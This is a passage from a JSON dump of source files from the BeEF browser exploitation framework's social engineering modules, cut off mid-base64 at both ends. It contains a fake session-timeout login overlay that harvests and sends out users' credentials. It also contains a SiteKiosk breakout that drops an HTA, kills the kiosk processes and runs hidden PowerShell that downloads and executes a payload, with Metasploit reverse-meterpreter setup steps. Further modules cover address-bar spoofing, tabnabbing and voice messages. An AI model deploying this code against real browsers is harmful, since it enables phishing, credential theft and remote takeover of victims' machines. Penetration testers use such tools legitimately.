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';\n\tvar answer= '';\n\t\n\tbeef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n\t$j(document).attr('title', $j(this).html());\n\tdocument.body.scroll = 'no';\n\tdocument.documentElement.style.overflow = 'hidden';\n\t\n\t// set up darkening\n\tfunction grayOut(vis, options) {\n\t  // Pass true to gray out screen, false to ungray\n\t  // options are optional.  This is a JSON object with the following (optional) properties\n\t  // opacity:0-100         // Lower number = less grayout higher = more of a blackout \n\t  // zindex: #             // HTML elements with a higher zindex appear on top of the gray out\n\t  // bgcolor: (#xxxxxx)    // Standard RGB Hex color code\n\t  // grayOut(true, {'zindex':'50', 'bgcolor':'#0000FF', 'opacity':'70'});\n\t  // Because options is JSON opacity/zindex/bgcolor are all optional and can appear\n\t  // in any order.  Pass only the properties you need to set.\n\t  var options = options || {};\n\t  var zindex = options.zindex || 50;\n\t  var opacity = options.opacity || 70;\n\t  var opaque = (opacity / 100);\n\t  var bgcolor = options.bgcolor || '#000000';\n\t  var dark=document.getElementById('darkenScreenObject');\n\t  if (!dark) {\n\t    // The dark layer doesn't exist, it's never been created.  So we'll\n\t    // create it here and apply some basic styles.\n\t    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917\n\t    var tbody = document.getElementsByTagName(\"body\")[0];\n\t    var tnode = document.createElement('div');           // Create the layer.\n\t        tnode.style.position='absolute';                 // Position absolutely\n\t        tnode.style.top='0px';                           // In the top\n\t        tnode.style.left='0px';                          // Left corner of the page\n\t        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            \n\t        tnode.style.display='none';                      // Start out Hidden\n\t        tnode.id='darkenScreenObject';                   // Name it so we can find it later\n\t    tbody.appendChild(tnode);                            // Add it to the web page\n\t    dark=document.getElementById('darkenScreenObject');  // Get the object.\n\t  }\n\t  if (vis) {\n\t    // Calculate the page width and height \n\t    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {\n\t        var pageWidth = document.body.scrollWidth+'px';\n\t        var pageHeight = document.body.scrollHeight+'px';\n\t    } else if( document.body.offsetWidth ) {\n\t      var pageWidth = document.body.offsetWidth+'px';\n\t      var pageHeight = document.body.offsetHeight+'px';\n\t    } else {\n\t       var pageWidth='100%';\n\t       var pageHeight='100%';\n\t    }\n\t    //set the shader to cover the entire page and make it visible.\n\t    dark.style.opacity=opaque;\n\t    dark.style.MozOpacity=opaque;\n\t    dark.style.filter='alpha(opacity='+opacity+')';\n\t    dark.style.zIndex=zindex;\n\t    dark.style.backgroundColor=bgcolor;\n\t    dark.style.width= pageWidth;\n\t    dark.style.height= pageHeight;\n\t    dark.style.display='block';\n\t  } else {\n\t     dark.style.display='none';\n\t  }\n\t}\n\n\t// function to send response\n\tfunction win(){\n\t\tdocument.getElementById('hax').innerHtml='<h2>Thank you for re-authenticating, you will now be returned to the application</h2>';\n\t\tanswer = document.getElementById('uname').value+':'+document.getElementById('pass').value;\n\t}\n\n\t// perform darkening\n\tgrayOut(true);\n\n\tfunction checker(){\n\t\tprocessval = document.body.lastChild.getElementsByTagName(\"input\")[2].value;\n\t\tif (processval == \"Processing..\") {\n\t\t\tuname = document.body.lastChild.getElementsByTagName(\"input\")[0].value;\n\t\t\tpass = document.body.lastChild.getElementsByTagName(\"input\")[1].value;\n\t\t\tanswer = uname+\":\"+pass\n  \t\tsend(answer);\n\t\t\t// set lastchild invisible\n\t\t\tdocument.body.lastChild.setAttribute('style','display:none');\n\t\t\t// lighten screen\n\t\t\tgrayOut(false);\n\t\t\tclearInterval(credgrabber);\n\t\t\t$j('#hax').remove();\n\t\t\t$j('#darkenScreenObject').remove();\n\t\t}\n\t}\n\n\n\t// floating div\n\tfunction writeit() {\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'hax');\n\t\tsneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\\'Arial\\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');\n\t\tsneakydiv.setAttribute('align', 'center');\n\t\tdocument.body.appendChild(sneakydiv);\n\t\tsneakydiv.innerHTML= '<br><img src=\\''+imgr+'\\' width=\\'80px\\' height\\'80px\\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\\'0\\'><tr><td>Username:</td><td><input type=\\'text\\' name=\\'uname\\' id=\\'uname\\' value=\\'\\' onkeydown=\\'if (event.keyCode == 13) document.getElementById(\\\"lul\\\").value=\\\"Processing..\\\";\\'></input></td></td><tr><td>Password:</td><td><input type=\\'password\\' name=\\'pass\\' id=\\'pass\\' value=\\'\\' onkeydown=\\'if (event.keyCode == 13) document.getElementById(\\\"lul\\\").value=\\\"Processing..\\\";\\'></input></td></tr></table><br><input type=\\'button\\' name=\\'lul\\' id=\\'lul\\' onClick=\\'document.getElementById(\\\"lul\\\").value=\\\"Processing..\\\";\\' value=\\'Continue\\'>';\n\t\tcredgrabber = setInterval(checker,1000);\n\n\t}\n\t\n\twriteit();\n"
  },
  {
    "path": "modules/social_engineering/sitekiosk_breakout/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    if(beef.browser.isIE()){\n        // application='yes' is IE-only and needed to load the HTA into an IFrame.\n        // in this way you can have your phishing page, and load the HTA on top of it\n        // beef.dom.createIframe('hidden', {'src':hta_url,'application':'yes'});\n\tbb = new MSBlobBuilder();\n\tbb.append('<script>new ActiveXObject(\"WScript.Shell\").Run(\\'taskkill.exe /F /IM Watchdog.exe\\');<\\/script>');\n\tbb.append('<script>new ActiveXObject(\"WScript.Shell\").Run(\\'taskkill.exe /F /IM SiteKiosk.exe\\');<\\/script>');\n\tbb.append('<script>new ActiveXObject(\"WScript.Shell\").Run(\\'powershell.exe -w hidden -nop -ep bypass -c \"IEX ((new-object net.webclient).downloadstring(\\\\\\\\\\\\\"<%= @payload_handler %>\\\\\\\\\\\\\"))\"\\');<\\/script>');\n\twindow.navigator.msSaveOrOpenBlob(bb.getBlob(),\"BREAKOUT.hta\");\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'HTA loaded into hidden IFrame.');\n    }\n});\n"
  },
  {
    "path": "modules/social_engineering/sitekiosk_breakout/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        sitekiosk_breakout:\n            enable: true\n            category: [\"Social Engineering\"]\n            name: \"SiteKiosk Breakout\"\n            description: \"This Module breaks out of SiteKiosk by using HTA. The HTA closes the kiosk and starts a reverse meterpreter shell via a powershell payload!<br>Before launching the module, do the following on Metasploit:<br>use exploit/windows/misc/psh_web_delivery<br>set URIPATH /psh<br>set PAYLOAD windows/meterpreter/reverse_https<br>set LHOST x.x.x.x<br>set LPORT 443<br>set ExitOnSession false<br>set AutoRunScript post/windows/manage/smart_migrate<br>exploit -j -z<br><br>After executing the module, follow this steps:<br>Click Save<br>Enter shell:ProgramFiles in the Save Dialogs address bar<br>Navigate to C:\\\\Users\\\\Public\\\\Downloads<br>Save the file<br>After the Download is finished click on execute<br>Profit\"\n            authors: [\"insertscript\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/social_engineering/sitekiosk_breakout/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Sitekiosk_breakout < BeEF::Core::Command\n  def pre_send\n    # gets the value configured in the module configuration by the user\n    @datastore.each do |input|\n      @payload_handler = input['value'] if input['name'] == 'payload_handler'\n    end\n  end\n\n  def self.options\n    [\n      { 'name' => 'payload_handler', 'ui_label' => 'Payload Handler', 'value' => 'http://10.10.10.10:8080/psh' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/spoof_addressbar_data/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var hook = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + beef.net.hook;\n\n  try {\n    window.location = \"data:text/html,<%= @spoofed_url %><%= ' '*1337 %>?<script src='\"+hook+\"'></script><script>document.title='<%= @spoofed_url %>';beef.dom.createIframe('fullscreen',{'src':'<%= @real_url %>'},{},null);</script>\"\n    beef.debug(\"[Spoof Address Bar (data)] Redirecting to data URL...\");\n  } catch (e) {\n    beef.debug(\"[Spoof Address Bar (data)] could not redirect: \"+e.message)\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=something went horribly wrong: \" + e.message, beef.are.status_error());\n  }\n\n});\n"
  },
  {
    "path": "modules/social_engineering/spoof_addressbar_data/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        spoof_addressbar_data:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Spoof Address Bar (data URL)\"\n            description: \"This module redirects the browser to a legitimate looking URL with a ''data'' scheme, such as ''data:text/html,http://victim.com'', with a BeEF hook and a user-specified URL in a 100% x 100% iframe.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"O\", \"FF\", \"C\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/social_engineering/spoof_addressbar_data/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Spoof_addressbar_data < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'spoofed_url', 'ui_label' => 'Spoofed URL', 'type' => 'text', 'value' => 'https://example.com/' },\n      { 'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'https://example.com/' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/tabnabbing/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar url = \"<%= @url %>\";\n\tvar wait = <%= @wait %>*1000*60;\n\tvar tabnab_timer;\n\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');\n\n\t// begin countdown when the tab loses focus\n\t$j(window).blur(function(e) {\n\t\tbegin_countdown();\n\n\t// stop countdown if the tab regains focus\n\t}).focus(function(e) {\n\t\tclearTimeout(tabnab_timer);\n\t});\n\n\tbegin_countdown = function() {\n\t\ttabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);\n\t}\n\n});\n"
  },
  {
    "path": "modules/social_engineering/tabnabbing/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        tabnabbing:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"TabNabbing\"\n            description: \"This module redirects to the specified URL after the tab has been inactive for a specified amount of time.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"All\"]\n\n"
  },
  {
    "path": "modules/social_engineering/tabnabbing/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Tabnabbing < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'\n    uri = \"#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/basic.html\"\n    [\n      { 'name' => 'url', 'description' => 'Redirect URL', 'ui_label' => 'URL', 'value' => uri, 'width' => '400px' },\n      { 'name' => 'wait', 'description' => 'Wait (minutes)', 'ui_label' => 'Wait (minutes)', 'value' => '15', 'width' => '150px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['tabnab'] = @datastore['tabnab']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/text_to_voice/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\t\n\n  var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/msg-<%= @command_id %>.mp3';\n  try {\n    var sound = new Audio(url);\n    sound.play();\n    beef.debug('[Text to Voice] Playing mp3: ' + url);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=message sent\", beef.are.status_success());\n  } catch (e) {\n    beef.debug(\"[Text to Voice] HTML5 audio unsupported. Could not play: \" + url);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=audio not supported\", beef.are.status_error());\n  }\n\n});\n"
  },
  {
    "path": "modules/social_engineering/text_to_voice/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        text_to_voice:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Text to Voice\"\n            description: \"Convert text to mp3 and play it on the hooked browser. Note: this module requires Lame and eSpeak to be installed.\"\n            authors: [\"bcoles\"]\n            # http://caniuse.com/audio\n            target:\n                working: [\"All\"]\n                not_working:\n                    IE:\n                        min_ver: 1\n                        max_ver: 8\n                    FF:\n                        min_ver: 1\n                        max_ver: 2\n                    S:\n                        min_ver: 1\n                        max_ver: 3\n"
  },
  {
    "path": "modules/social_engineering/text_to_voice/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Text_to_voice < BeEF::Core::Command\n  def pre_send\n    # Check for required binaries\n    if IO.popen(%w[which espeak], 'r').read.to_s.eql?('')\n      print_error('[Text to Voice] eSpeak is not in $PATH (brew install espeak on macOS, apt-get install espeak on Linux)')\n      return\n    end\n    if IO.popen(%w[which lame], 'r').read.to_s.eql?('')\n      print_error('[Text to Voice] Lame is not in $PATH (brew install lame on macOS, apt-get install lame on Linux)')\n      return\n    end\n\n    # Load espeak gem (only if binaries are available)\n    begin\n      require 'espeak'\n      include ESpeak\n    rescue LoadError, StandardError => e\n      print_error(\"[Text to Voice] Failed to load espeak gem: #{e.message}\")\n      return\n    end\n\n    # Validate module options\n    message = nil\n    language = nil\n    @datastore.each do |input|\n      message  = input['value'] if input['name'] == 'message'\n      language = input['value'] if input['name'] == 'language'\n    end\n    \n    # Validate language\n    begin\n      unless Voice.all.map(&:language).include?(language)\n        print_error(\"[Text to Voice] Language '#{language}' is not supported\")\n        print_more(\"Supported languages: #{Voice.all.map(&:language).join(',')}\")\n        return\n      end\n    rescue StandardError => e\n      print_error(\"[Text to Voice] Could not validate language: #{e.message}\")\n      return\n    end\n\n    # Convert text to voice, encode as mp3 and write to module directory\n    begin\n      msg = Speech.new(message.to_s, voice: language)\n      mp3_path = \"modules/social_engineering/text_to_voice/mp3/msg-#{@command_id}.mp3\"\n      msg.save(mp3_path)\n    rescue StandardError => e\n      print_error(\"[Text to Voice] Could not create mp3: #{e.message}\")\n      return\n    end\n\n    # Mount the mp3 to /objects/\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(\n      \"/#{mp3_path}\",\n      \"/objects/msg-#{@command_id}\",\n      'mp3'\n    )\n  end\n\n  def self.options\n    [\n      { 'name' => 'message',\n        'description' => 'Text to read',\n        'type' => 'textarea',\n        'ui_label' => 'Text',\n        'value' => 'Hello; from beef',\n        'width' => '400px' },\n      { 'name' => 'language',\n        'description' => 'Language',\n        'type' => 'text',\n        'ui_label' => 'Language',\n        'value' => 'en' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(\"/objects/msg-#{@command_id}.mp3\")\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/ui_abuse_ie/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tif(beef.browser.isIE()){\n\n        var captcha_message = \"\";\n        var tab_message = \"\";\n        var captcha_src = \"\";\n        // TODO this image is either corrupted or simply thew GIF animation doesn't work\n        var blink_src = \"data:image/gif;base64,R0lGODdhIAF3ALMAAAAAAEqN/3Wo/8TExMzMzNXV1eXl5fPz8////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkyAAkALAAAAAAgAXcAAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXx8/b19vL4+e77/On+/l0KKLASwYKTDiKMpHDho4YOG0GMuGgixUQWLx7KqLEQx46D9T6CDCRy5J+SJvugTLlnJcs8Ll/eYYdOZiJNsXLq3Mmzp8+fQGPZHEq0qNGjSJMqXcq0qdOnUKNKnUq1qtWrWC8k2Mq1q9evYMOKHUu2rNmzaNOqXcu2rdu3cOPKnUu3rt27ePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnky5suXLmDNr3sy5s+fPoEOLHk26tOnTqFOrXs26tevXsGPLnk27tu3buHPr3s27t+/fwIMLH068uPHjyJMrX868ufPn0KNLn069uvXr2LNr3869u/fv4MOLH0++vPnz6NOrX8++vfv38OPLn0+/vv37yCMAACH5BAkyAAkALAAAAAAgAU0AAAT/EMlJq7046827/2AojmRpnmiqrmzrvnAsz3Rt33iu73zv/8CgcEgsGo/IpHLJbDqf0Kh0Sq1ar9isdsvter/gsHhMLpvP6LR6zW673/C4fE6v2+/4vH7P7/v/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXPgIBm5ydnp+goaKjpKWmp6ipqqusra6vsAEaAQMEtre4ubq7vL2+v8DBwsPExcbHyMnKy7MFBs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+SzBgeY6RwBBuruGezv8hXxGADzlvUX9/iU+hb8+kn6VyGgQEgEKRg86CjhhIUMGTmUADGiookIKlpEhFHjRkMdVz82CilyEcmSiU6iPKRyZaGWLgfBjBloJs0/Nm/2wajzZbueEn8CvXhuqCJNsZIqXcq0qdOnUGMZnUq1qtWrWLNq3cq1q9evYMOKHUu2rNmzaNOqXTsiAgA7\";\n\n        switch (beef.browser.getBrowserLanguage().substring(0,2)){\n           case \"en\":\n               lang = \"en\";\n               captcha_message = \"<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after <b>pressing the [TAB] key</b>:</h3>\";\n               tab_message = \"You must press the [TAB] key first, then solve the Captcha.\";\n               captcha_src = \"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TW